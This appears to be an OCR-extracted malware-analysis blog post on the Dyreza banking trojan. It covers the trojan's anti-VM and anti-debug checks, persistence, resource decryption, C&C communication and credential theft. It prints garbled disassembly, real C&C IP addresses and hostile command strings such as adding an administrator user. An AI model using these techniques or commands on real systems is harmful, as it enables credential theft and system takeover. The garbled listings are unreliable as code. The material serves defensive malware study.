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In a previous post we presented unpacking 2 payloads delivered in a spam campaign. A
malicious duet — Upatre (malware downloader) and Dyreza (credential stealer). In this post
we will take a look at the core of Dyreza — and techniques that it uses.

Note, that Dyreza is a complex piece of malware and various samples come with various
techniques — however, the main features remain common.

Analyzed samples

ff3d706015b7b142ee0a8f0ad7ea2911 — Dyreza executable- a persistent botnet agent,
carring DLLs with the core malicious activities

o 5a0e393031eb2accc914c1¢832993d0b — Dyreza DLL (32bit)

o 91b62d1380b73baea53a50d02c88a5¢c6 — Dyreza DLL (64 bit)

Behavioral analysis

When Dyreza starts to infect the computer — it spreads like fire. Observing it in Process
Explorer, we can see many new processes appearing and disappearing. As we can notice, it
deploys explorer, svchost, taskeng... All this is done in order to obfuscate the flow of
execution, in hopes of confusing analyst.
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2 copies of the malicious file are dropped — in C:\Windows and %APPDATA% — under
pseudo-random names, matching the regex: [a-zA-Z]{15}.exe , i.e VIHNLKkMCYaxBGFy.exe

That persistence is achieved by adding a new task in the task scheduler — it deploys the
malicious sample after every minute, to ensure that it keeps running.

| Active Tasks

Active tasks are tasks that are currently enabled and have not expired.

Summary: 33 total

Task Name Mext Run Time Triggers Location =l
viHMNLKMCYaxBGFy 2015-10-1518:00:00 At17:55 on 2015-10-15 - After triggered, repeat every 00:01:00 indefinitely.

RacTask 2015-10-1518:12:31 Multiple triggers defined \Microsoft\Windows\RAC

SR 2015-10-16 00:00:00 Multiple triggers defined \Microsoft\Windows'\Systel
ProgramDataUpdater 2015-10-16 00:30:00 At 00:30 every day \Microsoft\Windows\Appli

e SR AR as R e . ma "

1 | '

Code injected into other processes (svchost, explorer) communicates with the C&C:

ik testmachine 49160 614 CLOSE "wWalT
[ svchost exe g00 TCP teztmachine 43183 83241176.230 4443 CLOSE_walT
[T svchost exe g00 TCP teztmachine 43206 83241176.230 4443 CLOSE_walT
Process FID Protocol Local ... Remote Addrezz  Femote Pott State Se.. ©  SentBptes RowdPa.. AeowdB..
BT Systemn 4 DP netbioz-ns * * 2070 103932 1929 96 882
[ svchost.exe 1443 UDP R2ETE * " 16 15848

=l erplorerexe 332 TCP 43650 197.231.198.234 4443 CLOSE AT 3 579 & 1729

Checking on VirusTotal we can confirm, that contacted servers have been reported as
malicious:

e 141.8.226.14 -> https://www.virustotal.com/en/ip-address/141.8.226.14/information/

e 83.241.176.230 -> https://www.virustotal.com/en/ip-
address/83.241.176.230/information/

e 197.231.198.234 -> https://www.virustotal.com/en/ip-
address/197.231.198.234/information/

When we deploy any web browser, it directly injects the code into its process and deploys

illegitimate connections.lt is the way to keep in touch with the C&C, monitor user’s activity
and steal credentials.

We can also see files created in a TEMP folder that are serving as a small database, where
Dyreza stores information, before they are sent to the C&C.

Inside the code
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Main executable

Dyreza doesn’t start on a machine that has less than 2 processors. This technique is used as
a defense, preventing file from running on VM. It is based on the observation that VM usually
have only one processor — in contrast to most physical machines used nowadays. It is
implemented by checking appropriate field in PEB (Process Environment Block), that is
pointed by FS:[30]. Infection continues only if the condition is satisfied.

At the beginning of execution, malware loads additional import table into a newly allocated
memory page. Names of modules and functions are decrypted at runtime.

It checks, if it is deployed under debugger — using function LookupPrivilege Value with
argument SeDebugPrivilege — if it returns non-zero value, execution is terminated.

|Wiz01290 | r% | PUSH _EBP
B1z201291 . | HOU EEF.ESF
H1201293 . | SUB ESF,@-40C
B1201895 . |PUSH ESI
H1201897 . |HMou ESIL.CARG.11]
B130129A . HMOU ECH,DWORD PTR DS5: [ESI+En20] kernel32. GetCurrentProcess
H1301220 . |PUSH EDOI
B130133E . |LER ERX,[ARG.11
B1z2012A1 . | PUSH ERX
B12012A2 . | PUSH Bmz2@
B12012A4 . | #0R EDI.EDI
B12012A5 . |CHALL EC¥ aduvapi32. LoockupPrivilegellalusll
A13012AS o MOW EDX,DWORD PTR DS:[ESI] aduapi32. 0penProcessToken
B13012AA . | PUSH ERX
B13012AE . | CHLL EDO:
B13012A0 . | TEST EHX,ERX
B12012AF - | JE SHORT wfHHLEMC.B12D1SFE
B@1201261 . |MOU ECH,.DWORD PTR DOS:[ESI+En174] WEHMLEMC. B81303C2868
B120128Y . | LER ERX,[LOCAL.19]
B1z2012EBA . | PUSH ERX
B12012EBE . |PUSH EDI
B130126BC . |CHLL EC¥ advapidz.LoockupPrivilegellalusll
B13013BE . | MO ECH.DWORD PTR DS5: [ESI+Ex5H] advapidz. LookupPrivilegellalusll
B13013C1 . |AOD ESF,@:5
B12013C4 . |LER EDOX,[LOCAL.=]
B12018CY . | PUSH EOX
B12012C8 . | LER ERX,[LOCAL.19]
B12018CE . | PUSH ERX
B12018CC . |PUSH EDI
B1z012c0 . | MOU CLOCAL. 43, 9:1
H1301204 . |CHLL ECH advapi3dz. LookupPrivilegellalusll
. | TEST EHX,ERX
B1z0120%8 - | JE SHORT wfHHLEMC.B12D15FS
B120120A . | Mou ERX,.L[ARG.11]
|1z201200 . |HMOU ECH,DWORD PTR DS: [ESI+En54] aduvapi3d2.AdjustTokenPrivileges
B12012ER . |PUSH EDI
H13018E1 . |PUSH EDI
L
O5: [HEAZEE2H]=F&2E8C0CF (kernel3z2.GetCurrent Frocess]
ECH=v&1341B3 (aduvapid2.LoockupPrivilegelalusll]
B1201206 | FCALL to LookupPrivilegeUlaluel from wf HHLEMC. B1301504
HE1CFEF4 BEADEEAD || SustemMame = MULL
HE1CFEFS BEAICF2AS|| Privilege = "SebebugPrivilege™
HE1CFEFC BEAICF948|Lplocalld = BAICFI48
FHR1TFIER FRARARRARA
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Valid execution follows few alternative paths. Decision, by which path of to follow is made
based on the initial conditions — like, executable path and arguments with which the program
was run. When it is deployed for the first time (from a random location), it make its own copy
into C:\Windows and %APPDATA% and deploy the copy as a new process. As an
argument to a deployed copy (from C:\Windows) it passes a path to the other copy.

If it is deployed from the valid path and the initial argument passed validation, it performs
another check — verifying if it is deployed for the first time. It is achieved by creating a
specific Global mutex (it's name is a hash of Computer name and OS Version — fetched by
functions: GetComputerName, RtlGetVersion).

If this condition is also satisfied and mutex already exist, then it follows the main path,
deploying the malicious code. First, the encrypted data and the key are loaded from the
executable’s resources.

4 -7} RCData 0000453C |42 EE 95 19 03 C5 97 B0 E3 34 79 02 9A& 8D 12 12 =
. % TIRY615NR: 1033 || nooo454c (EE A2 38 8B C1 E4 BO 02 E7 85 12 12 42 38 SE C5 [ |
by UZGNSIWMY 1033 || 0000455¢ ||[EE 4C 3D EE F1 12 38 83 45 DS 12 12 EE 4C 79 E3

L ey YS43H26GT: 1033 0000456C |83 8C DS 12 12 EE 4C &R 02 45 8D 12 12 38 83 65
4 =5 Manifest 0000457C |08 12 12 FS E7 F1 96 59 16 EB SB 04 &4 0D 56 &R

el 101022 poo04sec |12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
goon4sac |12 45 CA 7D E4 52 1C 62 C6 71 71 52 CA DA DR 12
000045AC |12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
O00045EC |12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
pooo4sce |12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12

T1RY615NR — encrypted 32 bit code, UZGN53WMY — the key, YS45H26GT — encrypted 64bit code

Unpacking:
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* KernelMode - vfHMLEMCYaxBGFy.exe - [*G.P.U* - main thread, module vfHMLE!
File View Debug Plugins Options Window Help

Paused JJJ rinf w1 | +f LjE[M|T|w

1152282 || . EGF6 TEST ESI,ESI

[5]
B11gzz24 |1 .~ VE IC JLE SHORT wfHHLKMEC.B11522R2
B115223s |1 . 2B45 @R MOU ERX,. CARG. 11
piiczzea || . S0Rdz4 seessces | LEQ ESF, DIORD. PTRISSSIESE]
B1152298 |1 » GFB&1A MOUEY EDR,BYTE PTR D05:[CEAX]
A1152292 |1 . E2A%415 BEFFFFFF || MOU OL, BMTE PTR SS: [EEF+EDE-E-166]
81152298 |1 . =218 MOW BYTE PTR DZ:[ER=D, DL
B115222c |1 . 42 DEC ECH
a11szz20 |1 . 448 IMC_ER=
B115229E |1 . BEC2 TEST ECK,ECx
@11522A8 |1 .~ ¥F EE J5 SHORT wfHMLEMC.B1152296
B11522A2 |1 » B2 BlBEEEAE MOL ERE, Gl
A11E22A7 1] . EE FPOP ESI

. B2BES MOW ESP. EEP
B11522AR |1 . =0 FOF EEFP
A11522AE |W=. C3 RETH

EEF=&E813EFAS
ESF=@E813EERS

Address |Hex dump ASCI I

HEZGHEEER| B 89 ES &7 56 51 52 53 UERWUGRS
HEZEREES| 8B Y5 B8 ES ER Ol A0 88| dullRid. .
HEZERE1E 89 C23 80 46 61 5@ 53 ES| & F2FaPSR
HEZEHET1E) D8 B2 B0 8@ B5 80 &E 51| 8. .U2nk
HEZEREZE| 89 45 B4 89 BED bE 20 86 éEté].Zd
HEZEREZE| 47 BE6 BE BA 89 45 @5 SE . EE@d
HEZEHEZE) 86 43 @5 8@ B8 29 45 8C cEf .EE.
HEZEHEZSE ES 47 @1 B8 B8 50 86 87 REB..EDG
HEZEHE4E) B OB B0 FF D8 50 31 CAjw.. 431t
HEZERE4S| BB SR 59 BE BF C9 CZ2 @C| [EY"_[Fr.
FEZEHESE| B8 B8 B0 BE B8 08 B0 B8 ... .....
HEZEHEEE | B8 HE BH B8 B8 b8 B0 B8 ........
HEZERESE) BB 47 &5 74 BB Y2 &F &3 .GetProc
FAZEAGEE| 41 64 64 72 65 7S 7S 08| Address.
HEZEHEFE) B8 OB G0 B8 B8 08 G0 B8 ........
FEZGHEFS ) BE OB B0 B8 B8 OB B0 B8 .....a..
HEZEGHEEE| B8 OB B0 B8 B8 OB B0 B8 ... ...,

The unpacking algorithm is pretty simple — key data contains values and data — list of
indexes of the values in key data. We process the list of indexes and read the corresponding
values:

def decode(data, key_data):
decoded = bytearray()
for i in range(@, len(data)):
val _index = data[i]
decoded.append(key_data[val_index])
return decoded

This script decrypts dumped resources:

https://github.com/hasherezade/malware_analysis/blob/master/dyreza/dyreza_decoder.py.

The revealed content contains a shellcode to be injected and a a DLL with malicious
functions (32 or 64 bit appropriately). The main sample chooses which one to unpack and
deploy, by checking if it is running via WOWG64 (emulation for 32 bit on 64 bit machine) —
calling function IsWow64Process.
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B1203261
B1303266
B130326E
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Malicious DLL (core)

N

LER ED&, CLOCAL. =1
FUSH EDX
FUSH ESI
CALL wfHAMLEMC. 81301338
ADD ESP,Gmls
TEST ERX,ER:X
JE SHORT wfHHLKMC.@130327C
MOY ERK, OWORD PTR DS:[ESI+E8x28]
FUSH wfHHLEMC. 81305848
CALL ERX
MO ECH, OWORD FTR DS:[CESI+Ex182]
PUSH ERX
CHALL ECX
TEST ERX,ER:X
JE SHORT wfHHLKMC. 81302270
CHP DWORD PTR DS:[8x13058408], 5858
MOW ER,DOWORD FTR D5:[ESI+Ex1741]
LER EDX, CLOCAL. =1
FUSH EDX
JE SHBR; WEHHMLEMC. B1303223
H

FUSH wfHHLEMC. 812305644
FUSH wfHHLEMC, 81205832
LER ECH, CLOCAL. =1

FUSH ECE

FUSH ESI

CALL wfHAMLEMC. 81301338
EEE ESP.Gula

T AL AL

|

Hraz TrEaraed
Hral HEEZHEEA
find resource #1

kernel3z2.GetCurrentProcess
kernel3z. IsllowsdFProcess

WFHHLEMC . 81205846

WFHHLK MG, @1 303C88
ntdll.KiFastSustemCal LRet

Arad = B1205E44
Heaz = 81305833
Hreaz = 81305848
Hral = BEEZEEEE

find resource #2

At this stage, functionality of the malware becomes pretty clear. The DLL does not contain
much obfuscation — it has clear strings and a typical import table.

We can see the strings that are used for communication with the C&C:

Address Length

rdata:10011804 00000034
rdata:10011838  0000000F
rdata:10011848 00000005
rdata:10011850 00000009
rdata:i1001185C 00000020
rdata:1001188C 00000011
rdata:100118A0 00000030
rdata:10011800 00000065
ordatai10011938 00000005
rdata:10012220 00000041
ordatal0012264  0000000E
rdata:10012274 00000006
rdata:1001227C 00000005
rdata:10012284 00000005
rdata:1001228C 00000005
rdata:10012294 00000005
rdata:1001229C 00000005
rdata:10012244  0000000C
rdata:10012280 00000008
ordata:il0012288 00000000
rdata:100122C8 00000009
rdata:10012204  0000000A
rdata:100122E0  0000000B
rdata:il00122EC 0000000A
rdata:100122F8 00000008
rdata:10012300  0000000A
rdata:1001230C 00000008
ordata:10012318 00000008
rdata:10012344 00000006
srdata:1001234C 00000009

|
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Content-Type:
inirin

Wrn--36s--

Content-Length:

POST

Fos_Wd %od %od. Jos
botid

btid

cosr

dpsr

btnt

slip
BT
suCcess
browsnapshot
ponydata
ntimhashs
Codeb0Stat
SOUrCEeExe
httprdc
0.0.00:0
respparser
httprex

dpsrv
datapost

aEeaEeEsEsE s sEeE s e e e e e e e e a N e S

Wrn--%sirinContent-Disposition: form-data; name=4"%s\"\r\n

Content-Type: multipart/form-data; boundary=

WrinAccept: tet/htmlrinConnection: Keep-Alivelrinirin
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/41.0.2228.0 Sa..

Fe02K 7602 X 302X %02 X %00 2 Fe0 2 X 502X 260 2K %50 2K 202K 700 2K 3602 K 560 2K 200 2K F0 2 XK 302K
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Both — 32 and 64 bit DLLs have analogical functionality. Only architecture-related elements
and strings are different.

The agent identifies the system:

BFDZ2EBRZ
BFOZ23BRS
BFOZ3ERE
BFOZZEEL
BFO22EBEE
BFO22EBES
BFOD22EEO
BFOD22BCE
BFDZ2BCY
BFODZ23BCS
BFOZ23EBCE
BFOZZEO2
BFD22B0O2
BFO22BOR
BFD22BOF
BFO22BEL
BFDZ2EBEE
BFOZ23EBES
BFODZ23EBED
BFOZZ2EBEF
BFO22BF4
BFO22BFE
BFO22EBFE
BFO22EBFD
BFDz22CE2
BFODZ23CA4
BFO23CES
BFOZZCHEE
BFOD22C18
BFO22C12
BFO22C17
BFO22C19
BFDZ22C1E
BFD23C28
BFO23C25
BFOZ2CEF
BFO22C2C
BFO22CZE
BFOD22C22
BFO22C35
BFDZ2C2E
BFO23C41
BFOZ23C43
BFOZ2C4E
BFO22C4H
BFEO22C4F
BFO22CE4
BFO22CES
BFDZ2CEE
BFODZ23CSE
BFO23CSF
BFOZ2CEL
BFO22CE2
BFOD23CE?
BFO22CEC
BFO22CEE
BFD23CYL

TEST ERX,ERA

JE test_Srs.BFO0Z3CFE

MOU ERX, CLOCAL. 7&l

CHMF ERX, Bu10EE

JHE SHORT test_Grc.BFO22BCE
MOU EDM, test_ESrs.BFO02128C
JHMP test_Ers.BFDZ3CER

CHMP ERX, 8= 10E1

JHE SHORT test_Srs.BFD23B03
MOW EDH, test_Srs.8F031394
JMP test_Srs.AFDZ3ICEE

CHMF ERX, BwAZS

JMHE SHORT test_Grs.BFD22EEL
MOU EDX, test_Ers.BF0212HA
JHMP SHORT test_Ers.BFO22CEE
CHMP ERX, En:22FA

JHE SHORT test_Srs.BFD23BEF
MOW EDH, test_Srs.8F0313R3
JMP SHORT test_Srs.8F023CSE
CHMF ERx, BuZE26

JHE SHORT test_Grs.BFO22BFD
MOU EDX, test_Ers.BF0D212EH
JHMP SHORT test_Ers.BFO22CEER
CHMP ERX, 8:ECE

JHE SHORT test_Srs.BFD23CHE
MOW EDH, test_Srs.8F031363
JMP SHORT test_Srs.8F023CSE
CHMF ERX, Bul7yz

JHE SHORT test _Grc.BFO22C19
MOU EDX, test_Ers.BF0212CH
JHMP SHORT test_Ers.BFO22CEER
CHMP ERX,8:177A

JHE SHORT test_Srs.BFD23C27
MOW EDH, test_Srs.8F031303
JMP SHORT test_Srs.8F023CSE
CHMF EAX,@:1771

JMHE SHORT test_Grs.BFO22C3E
MOU EDX, test_Ers.BFOD212E4
JHMP SHORT test_Ers.BFO22CEE
LEA ECH,0WORD PTR DS:[CEAX-Bx2FSA]
CHP_ECH, B:AS

JH SHORT test_Srs.AF023C4A
MOU EDX, test_Srs.8F0313F4
JMF SHORT test_Grcs.BFO23CESE
MOU EDX, test_Ers.BF021480
CHMP _ERX, B 2206

JE SHORT test_Ers.BFD23CER
MOU EDX, test_Ers.BF0214E8C
LER ERH, CLOCAL. =1

FUSH ERX

PUSH Ew 28

FOF ECH

CALL test_Ers.BFODZ1688

PUSH test_Ers.BFD21414

FUSH Bw2E

LERA EDI,[CLOCAL. 2]

CALL test_bSrs.BFD22ZD2E

[

kernel3z.BaseThreadInitThunk

Switch [cases AZE..Z2528)
ASCII "Win_v"; Case 10BH of switch BFOZ23BE1

ASCII "Win_¥_5F1™; Case 10B1 of switch BFOZ3EBEL

ASCII "Win_®P™; Case A28 of switch BFOZ3EBEL

ASCII "Win_58"; Case 23F@ of switch BFOZ3BEL

ASCII "Win_2.1"; Case 2520 of switch BFOZ3BE1

ASCII "Win_Serwver 20E3"; Case ECE of switch BFODZ3BEL

ASCII "Win_Mista_SP2"; Case 1772 of switch BFD23BE1

ASCII "Win_Yista™; Case 1778 of switch BFOZ3EBEL

ASCII "Win_Mista_SP1™; Case 1771 of switch BFD23BE1

ASCII "Win_1@8_IP™
ASCII "Win_18_TH1™

ASCII "unknown™
Hral = ¥rzZBacas
kernel3z2. FFZE3C45

test_Ers.H@FF418068
RSCII "_22bit™

and then — include this data in information sent to the C&C:
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L]

L]

"Win_B.A™

[l 2
10003C B P
10003CH9 jnp

edx, oFfset abin_server_200 ;
short loc_10BEIC5E

"Win_Server_ZBE3a"

[l e 52
10003C12 i
10003C17 jmp

edx, oFFset aWin_wvista_sp2?
short loc 1BBBACSH

“Hin_vista

g

il

10003058

TABREESE loc 1AAR3CSE @

10003050 1ea pax, [ebpsuar_20]
10DB3CSE push eay

TABBECSF push Ziih

10009061 pop BCx

T00U3CHT call sub_f1agm sen
TABIECAT push offsel a_32bit o _a2bit™
10003CHE push 20h

1ABBACAE 1ea edi, [ebpsuar 2]
TO003C71 call sub_18002028

'3

1O0BICTH Lo _1ARRCTE:
1OBIICTE cap [ebpsarg 0], @
10003CTA pop edi
1HRBICTH pop e5i
10BIICTE 1ea eax, [ebpeuar_2@]
10003C7F jz short loc_100B3ICAS
I
1 L
(] e [P
10003C81 push [ebp+arg_10] 10003CAG
1RBBACHL push [ebp+arg ] ARBBACAG 1oc_ 1ABAZCAAL :
10003CE7 push B3N 10003ICAG push [ebp+arg_C]
1O003CEL push B3 10003CAY push LLEN]
1ABBACAD push [ebpe+arg 8] 1ABBACAE push rax
10003C9A push [ebp+arg_A] 1000ICAF push [ebp+arg_E]
TH0NECYI push offset asSOSDES  CURs RS 0 RS0 s RS0 ) 10003 push [ebp+arg_ 4]
THBBACYR push [ebpearg_ @] 1ABB3CES push offset aSSEDS UL A0SRl SEA SR
1000390 call dszwsprintfa 10003CEA push [ebp+arg_D]
100083CA1 add B5p, 2@h 1HBBECHD call dszwsprintia
18003CAL jnp short loc_10BEICCE 18003CCT add esp, 1Ch

1HRRECEA loc 1ABAICCA:
10002CCH HoF BaK, eay
10083cCE inc LEH
1HABACEY leave

10003CCA retn

10003CCA nane_systen endp

Similar procedure is present in the 64 bit version of the DLL, only the hardcoded string
“ 32bit” is substituted by “_64bit™:

L J
F™E
eeAEeM1EAAAS568 1ea ré, a_fbhbit ; _64bit”
BI0BBBM1BMOB5S56F 1ea ree, [re+rdx«FFFFFFDFR]
BIRABAM1EAAB55TF Sub ré, rax

BI0BBBM1EMOBSETA nop

word ptr [rax+rax+dih]

Also, network settings are examined (to verify and inform the C&C whether the client can
establish back connection — command : AUTOBACKCONN)

8/13


https://blog.malwarebytes.org/wp-content/uploads/2015/11/sys_check.png
https://blog.malwarebytes.org/wp-content/uploads/2015/11/64bit.png

LILEL- R PR L LRy

100BCCAD network_settings proc near
1B80BCCAD cmp eax, 1

100BCCED jnz short loc_100BCCEB

¥

™ E

e

100BCCE2 mov

100BCCRY retn

eax, offset aHoMat

“Ho HAT" Ll HH

1088CCEE cmp
108BCCEE jnz

10008CCHEE loc_10RBCCES :

eax, I
short loc_100BCCE3

¥

™

180BCCED mow
180BCCC2 retn

eax, oFfset aFullConeHat ; "Ful)l

Cone HAT

L i
e
18808CCC3
1888CCCE3 loc_100ACC
180BCCEI cmp ea
1BBBCCCE jnz sh

¥

e

180BCCEE mow
180BCCED retn

eax, offset alldpFirewall ;

“"UDP Firewall

It targets following browsers:

IF2CE24F
IFACE255
IFICE25H
IFICEZEER
IFACE262
IFACE26d
IFACE26E
IF2CE26E
IFACE260
IFACEZEE
IFACE2 7R
IFACE2e2
IFACE2y4
IFacEz2ye
IF2CE2TH
IF2CEZFC
IFACE2TE
IFACE=2R
IFACE225
IFACE22E

E e T oy b e}

B35 B4129CAF
65 44203CHF

E7
C74E FC 01808668
FFLE

MO ESI,ONORD PTR DO5: C<&SHLWAFI.StrStoIl

PUSH test_Srs.BFICZ044
PUSH EDI

HMoU CLOCAL. 13, 6.1

CALL ESI

TEST ERX,ERX

JHE SHORT test_Srs.BF2CE23C
FUSH test_Srs.BFICZ0SC

FUSH EDI

CALL ESI

TEST ERX,ERX

JMHE SHORT test_Grs.BFSCHZEC
FUSH test_Ers.BFIC2Z074

FUSH EDI

CALL ESI

TEST ERX,ERA

JME SHORT test_Srs.AFACHZSC
FUSH test_EBrs.BFICZ09E8

FPUSH EDI

CALL ESI

TCST Chv oy

Below — attempt to send stolen account credentials:

[
[
[
[

sh lwapi.SteSte I
Fattern = "chrome.ede™
String = HULL

StrStrI

Fattern = "Firefon.eqe™
String = HULL
StrSteIl

Fattern = "ienplore.ene’"
String = H LL
StrSteIl

Fattern = "microsoftedge™
String = THULL
StrStrIl
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10BBEGED push
100BEGES push
100BEGER call
100BE6F B test
100BE6F2 jnz

sub_1000387F
eax, eax

offset afccounts ; “accounts'
dword ptr [edi+3IAakh]

short loc_1008BET B

. ]

e

FE]

1080E6F 4 push
10BBE6F? push
1080BE6FF call
1080ET 84 jmp

offset aSendAccountsFa ;
dword ptr [edi+3nkh]
sub_188083712

short loc_1088E712

“send accounts Failed"

1080E 7 86

10BBE7B6 loc_ 10B0ETH6 :

10BBEFB6 call ds:GetTickCount
10BBETOC mov [edi+3FCh], eax

\ K |

FME

100BE7F12

108BE712 push
108BE717 push
1080BE71A call
1080BEF1IC test
1088BEFIE jnz

10@0E712 loc_1000ET12: ; "ntlmhashs"

offset aWtlmhashs
[ebp+arg_#8]

ebx ; lstrcmph
eax, Bax

short loc_10@BET93

In addition to monitoring browsers, it also collects general information about the computer

'y

FE

1HBBETZ0 mov
10BBEY23 push esi

100BEY2Y call alloc_heap1
100BE729 mov

esi, [ebp+arg_10]

[ebp+arg_k], eax

1BBBETZC xor eax, eax

10BBETZE pop BCX

10BBETZF cmp [ebp+arg_ 4], eax
1000E732 jz short loc_1000E793

(it's hardware, users, programs and services) — in form of a report:

10000CHE P esi, oFfset abeneral ; “=-Ceneral=='ryn™
100B0C53 push esi
1APBOCSE call edi ; lstrlenW
1000BCSG push esi
THRHIDES T add PAX, PaX
18000CSD 1ea esi, [espeSChevar_2C]
10080050 call sub_1BBATEZA
1H0RDCG? call sub_1ABASETS
1000BCET now bk, eax
1A0EDCAY P [esp+SBh+var_4A], ebx
1A0B0CED Lesl ek, by
10000CEF jz short loc_10BBDCED
e —
100B0CTY push el
AR0B0C T2 call pdi ; lstrlenW
1000007 add Bax, eak
10BBRCT G push ehx
100R0CTT call sub_ 1BAATE2A
10000CTE push el
THRIDE /D call heap_fFree
180IBCEE pop (L]
N —
[l i 2
1o0epca:
1AABBCRT loc 1BAADCRE: = ek

10000CET now ebx, oFFset asc_1@0119EC
100BRCEE push e

TARBDCED push &

10000CAD pop eax

THHERCRE lea esi, [esp+SChevar 3C)
T18000DC9E call Sub_1B08752a

100080C95 now esl, offset alsers ;
TARBDERA push esi

Users

18000C90 call edi : lstrlen®
1008090 push esi
TAOBDCYE add rax, vax

10000CAR lea
Tapepcal call
18880CAY call

esl, [esp+*SChevar_3C]
sub_1BAAFSER
sub_1RREFESY

Wt
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The malware not only steal information and sniff user’s browsing, but also tries to take a full
control over the system — executes various shell commands — system shutdown,etc. Some

examples below:

C&Cs

18868301 i:lush of fset algazxsw? ; “lgazsswe?”
18888306 push [ebpearg_#]

100B83AY lea eax, [ebprwar_234]

10088 3AF push offset allserSSadd ; "user %s %5 Sadd”
100088304 xor edi, edi

10088386 push Bax

10088387 mow [ebpewar C], edi

100883B8A call esl ; wsprintfy

1000830C add esp, 1@h

100883BF push edl
100883CA push edi

100883C1 lea eax, [ebpruvar_234]
108B83CT push eax

100883C8 push offFset adet = "npet"
100083CD mov ebx, offset allpen ; “open”

10088302 push ehx

10888303 push edi

10088308 mow edi, ds:ShellExecutel
1088830A call edi ; ShellExecuteW
180883D0C push IN98h

108B83E1 call ds:Sleep

100B83EY lea eax, [ebpeuvar_ 18]
108B83EA push eax
100B83ER lea eax, [ebpruvar_ L34]
1008883F1 push eax
100883F2 mow [ebp+var_ 18], 18#h
180883F9 call sub_ 10008386
100B83FE pop BPCX
100B83FF pop eCX
10088480 test Pax, eax
10088402 jnz short loc_100BB41A
I‘ |
™E
10008488 lea eax, [ebprvar_kih]
10088484 push Bax
10008408 mov edx, offset afndministrators ; “ndministrators”
10088410 mov eax, 206h
18888415 call sub_108B4F23

¢

e

1000841/

100884510 loc_ 100888416 :

1008841A8 push [ebp+arg @)

10088410 lea eax, [ebp+var k3]

18088423 push eax

10008424 lea eax, [ebp+uar_23h]

1000842A push offset alocalgroupisad ; “localgroup %s %s fadd”

A D e

mana b

10005856 call
10005858 xor

10005850 push
1000%85E push
1000%85F push
10005864 push
10005869 push
10005 86E push
1000586F call
10005875 xor

10085877 retn

EETT

Trying to add a user with administrative privileges

adjust_shutdown_priviledges

eax, eax

Eax

Bax

offset aRFTS HER I S e

offset aCWindowsSystem ; "C:%vwindows\hsystem32i\h\shutdown.exe"
offset alpen y “open™

Bax

ds:ShellExecutel

Pax, eax

Shutdown system on command (AUTOKILLOS)
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This botnet is prepared with great care. Not only communication is encrypted, but also many
countermeasures have been taken in order to prevent detection.

First of all, the address of the C&C is randomly picked from a hard-coded pool.This pool is
stored in one of the resources of Dyreza DLL (AES encrypted). Below, we can see how it
gets decrypted, during execution of the payload:

FF15 zZB1378EF CALL OwoRD PTR DS5:C[<&bcrvpt.BCruptCreateHashi] berypt.BCrwptCreateHash
BFYYES0OA || . S85CA TEST ERH, ERE
GBFYYES0C || o~ 75 4B JHE SHORT pawload_.BFFFE429
BFYFES0E || . 56 FUSH ESI
GF P FES0F FFFS 14 FUSH [CARE.4]
GF 7 FESEZ FFFS 1@ FUSH L[ARG. 31
GF 7 FESES FFFS F3S FUSH CLOCAL.2]
FF1S B2123720F CALL DWORD PTR DS:[<&bcruwpt.BCruptHashDatal] borwpt.BCruptHashData

Address [Hen dump ASCIT

BI22ASCC| 2R FF 25 BE|D2 B0 20 21(21 20 75 72(21 22 CB 02« 4A0.0110u=s 1278
B122AB0C| 26 27 2E 22|22 21 2E 21|25 26 ZE 21|28 25 20 24| &7.221. 156, 16E:4
B122ASEC| 24 24 22 A0 0OA 22 20 2E| 21 26 21 2E|2E 21 2E 21(442..29.161.61.1
B122A2FC| 21 25 2R 24(/24 24 22 B0 BA 21 21 2651 2E 21 21 29 16:4442, 116,119
B122A0EC| 2E 22 25 20| 2E 22 24 25120 24 24 22/ 60 OA 21 27| .2E@,245:442,.17
B123A9IC| 22 2E 22 25(22 2ZE 2E 28| 2E 21 22 24| 2H 24 24 24|32, 282,56, 1241444
B1E3A92C| 33 B0 BR 31(/38 36 ZE 34|36 ZE 51 24|32 ZE 36 36(35..186.46. 142,66
A1E3A93C) 3R 34 34 33|60 BA 21 38|33 ZE 52 35|35 ZE 31 35(:443..1583.255.15
BlesAP4C| 24 ZE 31 25(28 SR 24 24|34 23 60 BR| 31 29 3% ZE|4. 150:4443,. 195,
BlEZAPSC) 21 29 31 2E[(23 94 ZE 22|34 25 SH 2424 23 60 BA| 191,34, 245:442, .
BI22ADEC| 22 2@ 26 ZE(21 21 26 ZE| 21 27 21 2E| 22 21 26 2A|28c.116.171.216:
B122ADFC| 24 24 22 B0(0A 22 28 26| 2E 21 52 22| 2E 26 20 ZE|442..206. 122,64,
B122AD2C| 29 22 2A 24(24 24 22 00| BA 22 21 22| 2E 21 20 29(92:4442. 212,189
B122ADOC| 2E 21 27 20(2E 21 29 27| 2R 24 24 2260 0A 22 21(.179.197:442, .21
B122ADAC| 26 2E 25 27(Z2E 21 26 25/ 2E 21 28 22/ 20 24 24 2316, E7F, 165, 182 442
B122A0BC| A0 BA 26 20| 2E 22 27 2E| 25 27 ZE 21|26 24 20 24| ..69.27.E7.164:4
B1E3A9CC| 24 24 22 BO(GA 22 23 ZE| 22 24 21 2E| 21 27 26 ZE(442..82.241.176.
B1E3A90C| 22 22 20 20|24 24 24 22/ 60 BH 21 20| 29 ZE 22 26(220:4443,.109, 36
B1S3A9EC| 2E 32 32 26| 2ZE 22 35 3A| 34 24 353 80| aH 31 35 30| .226.85:443..150
B1E3A9FC| 2E 31 32 239(2ZE 24 29 ZE| 31 33 5% 2R 34 24 33 60| . 129.49.139: 443,
alasApeEc|an 21 37 33(2E 51 25 25| 2E 21 96 26| 2E 29 34 3H|.173.186.166,94:
B122ARIC| 24 24 24 2200 BA 21 27|26 ZE 21 22|28 ZE 22 20(4442..176. 120,20
B122ARZC| 21 ZE 29 2A(24 24 22 00| BA 21 22 24| 2E 21 29 20(1.9:442.,124, 190
BI22ARSC| 2E 26 24 ZE(22 25 2A 24|24 24 22 @D BA 21 22 28| .64.35:4442, . 182
B122AR4C| 2E 21 22 208 ZE 21 29 24/ 2E 21 28 21|20 24 24 24(.1208,194, 181: 444
BI22AREC| 22 B0 BA 22|28 26 2E 21|22 22 2E 25|28 2E 24 22(5..206,122.58,42
BI22ARSC| 20 24 24 2422 B0 GR 22|26 20 2E 2122 22 2E 21( 4442, 262,122, 1
